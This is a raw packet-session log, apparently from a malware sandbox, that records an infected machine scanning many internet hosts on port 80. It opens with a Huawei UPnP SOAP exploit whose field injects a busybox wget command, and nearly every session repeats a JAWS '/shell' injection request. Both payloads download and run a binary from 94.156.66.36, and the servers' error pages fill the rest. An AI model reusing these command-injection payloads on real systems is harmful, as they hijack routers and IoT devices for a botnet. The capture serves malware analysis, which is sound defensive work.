20 2d 67 20 39 34 2e 31 35 36 2e 36 36 2e 33 36 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.66.36 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.15	39288	107.10.38.11	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:45.285454035 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:45.404988050 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Wed, 13 Mar 2024 08:35:45 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.15	59740	206.190.228.216	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:45.304738998 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:45.449426889 CET	911	IN	HTTP/1.0 404 Not Found Server: SonicWALL Expires: -1 Cache-Control: no-cache Content-type: text/html;charset=UTF-8 X-Content-Type-Options: nosniff Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 2f 2a 2d 2d 3e 3c 21 5b 43 44 41 54 41 5b 2f 2a 3e 3c 21 2d 2d 2a 2f 20 62 6f 64 79 20 7b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 20 7d 73 70 61 6e 2e 75 72 6c 20 7b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 75 6e 64 65 72 6c 69 6e 65 3b 20 7d 70 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 33 65 6d 3b 7d 73 70 61 6e 2e 73 65 72 76 65 72 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 65 72 3b 7d 2f 2a 5d 5d 3e 2a 2f 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 21 3c 2f 68 31 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 72 6c 22 3e 26 23 78 32 46 3b 73 68 65 6c 6c 3f 63 64 20 26 23 78 32 46 3b 74 6d 70 3b 72 6d 20 2d 72 66 20 2a 3b 77 67 65 74 20 3c 2f 73 70 61 6e 3e 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 3c 70 3e 49 66 20 79 6f 75 20 65 6e 74 65 72 65 64 20 74 68 65 20 55 52 4c 20 6d 61 6e 75 61 6c 6c 79 20 70 6c 65 61 73 65 20 63 68 65 63 6b 20 79 6f 75 72 20 73 70 65 6c 6c 69 6e 67 20 61 6e 64 20 74 72 79 20 61 67 61 69 6e 2e 3c 2f 70 3e 3c 68 32 3e 45 72 72 6f 72 20 34 30 34 3c 2f 68 32 3e 3c 70 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 65 72 76 65 72 22 3e 53 6f 6e 69 63 57 61 6c 6c 20 53 65 72 76 65 72 3c 2f 73 70 61 6e 3e 3c 2f 70 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"><head><title>File not found!</title><style type="text/css">.../--><![CDATA[/>.../ body { color: #000000; background-color: #FFFFFF; }span.url { text-decoration: underline; }p {margin-left: 3em;}span.server {font-size: smaller;}/.../--></style></head><body><h1>File not found!</h1><p>The requested URL <span class="url">/shell?cd /tmp;rm -rf ;wget </span> was not found on this server.</p><p>If you entered the URL manually please check your spelling and try again.</p><h2>Error 404</h2><p><span class="server">SonicWall Server</span></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.15	57820	51.171.238.86	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:45.372522116 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:45.588001013 CET	439	IN	HTTP/1.1 404 Not Found Content-Length: 0 Date: Wed, 13 Mar 2024 08:35:45 GMT X-Frame-Options: sameorigin Content-Security-Policy: frame-ancestors 'self'; script-src 'self' 'unsafe-eval' 'unsafe-inline'; object-src 'self' Strict-Transport-Security: max-age=31536000; includeSubDomains X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Referrer-Policy: no-referrer permissions-policy: fullscreen 'none'

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.15	44316	212.50.70.217	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:45.376895905 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:45.579662085 CET	62	IN	HTTP/1.0 400 Bad Request Connection: Keep-Alive
Mar 13, 2024 09:35:45.579698086 CET	83	IN	Data Raw: 4b 65 65 70 2d 41 6c 69 76 65 3a 20 74 69 6d 65 6f 75 74 3d 32 30 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 0d 0a 0d 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e Data Ascii: Keep-Alive: timeout=20Content-Type: text/html<h1>Bad Request</h1>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.15	53230	63.35.173.53	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:45.537520885 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.15	52814	172.104.7.204	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:48.816221952 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:48.906635046 CET	932	IN	HTTP/1.1 400 Bad Request Connection: close cache-control: private, no-cache, no-store, must-revalidate, max-age=0 pragma: no-cache content-type: text/html content-length: 681 date: Wed, 13 Mar 2024 08:35:48 GMT server: LiteSpeed Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 30 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 42 61 64 20 52 65 71 75 65 73 74 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 49 74 20 69 73 20 6e 6f 74 20 61 20 76 61 6c 69 64 20 72 65 71 75 65 73 74 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html style="height:100%"><head><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /><title> 400 Bad Request</title></head><body style="color: #444; margin:0;font: normal 14px/20px Arial, Helvetica, sans-serif; height:100%; background-color: #fff;"><div style="height:auto; min-height:100%; "> <div style="text-align: center; width:800px; margin-left: -400px; position:absolute; top: 30%; left:50%;"> <h1 style="margin:0; font-size:150px; line-height:150px; font-weight:bold;">400</h1><h2 style="margin-top:20px;font-size: 30px;">Bad Request</h2><p>It is not a valid request!</p></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.15	43640	34.242.169.70	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:48.888428926 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:49.057821035 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.15	51968	52.36.184.249	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:48.896568060 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.15	45276	104.23.101.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:48.906126022 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.15	56698	150.60.7.143	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:48.996515036 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:49.263029099 CET	427	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:49 GMT Server: Apache Vary: Accept-Encoding Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.15	41254	104.16.13.138	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:48.996592045 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.15	47516	34.226.87.99	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:49.094090939 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:49.190103054 CET	450	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:49 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.15	33974	72.77.85.222	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:49.103671074 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.15	35474	96.66.171.49	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:49.113408089 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:49.229137897 CET	510	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Wed, 13 Mar 2024 03:38:29 GMT Server: kx-ns1000 Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.15	38208	54.219.84.144	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:49.160706043 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:49.321930885 CET	414	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:49 GMT Server: Apache/2.4.39 () Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.15	36842	164.92.134.195	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:49.168247938 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:49.336901903 CET	339	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.0 (Ubuntu) Date: Wed, 13 Mar 2024 08:35:49 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.0 (Ubuntu)</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.15	51318	193.49.48.200	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:49.172475100 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
